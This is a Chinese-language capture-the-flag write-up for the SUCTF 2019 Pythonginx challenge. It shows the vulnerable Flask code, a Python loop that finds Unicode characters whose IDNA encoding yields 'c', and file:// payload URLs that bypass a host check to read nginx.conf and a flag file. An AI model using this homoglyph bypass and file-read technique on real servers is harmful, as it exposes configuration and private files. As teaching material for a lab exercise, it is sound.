编码转换导致问题
前言
- 环境:[SUCTF 2019]Pythonginx
- 知识点:python脚本,ngnix配置文件
- 参考:wp
做题
源码
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url") #以get的形式获取url的值
host = parse.urlparse(url).hostname #得到url中的host部分
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url)) #把url通过urlsplit打散,将其转换为列表
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'): #将host以.分割
newhost.append(h.encode('idna').decode('utf-8'))#将打散的各个部分以idna编码再以utf-8解码放进数组中
parts[1] = '.'.join(newhost)#以.为连接方式将数组各个元素连接起来
finalUrl = urlunsplit(parts).split(' ')[0]#urlunsplit将parts以url的形式连接起来,去除url中的空格
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()#读取文件
else: return "我扌 your problem? 333"
漏洞点在于newhost.append(h.encode('idna').decode('utf-8'))
这里以idna形式编码,再以utf-8解码,转换来转换去,标准还不一样,搞不好有什么问题
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if '-' in res:#很多的字符里面都有-,它们不是我们想要的,故去除
continue
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass#空语句,什么也不干
只要编码前不是c,编码后是c的字符通通满足我们的要求
ℂ,Ⅽ,℆
之类的都可以
访问?url=file://suctf.cℭ/usr/local/nginx/conf/nginx.conf
再访问?url=file://suctf.cℭ/usr/fffffflag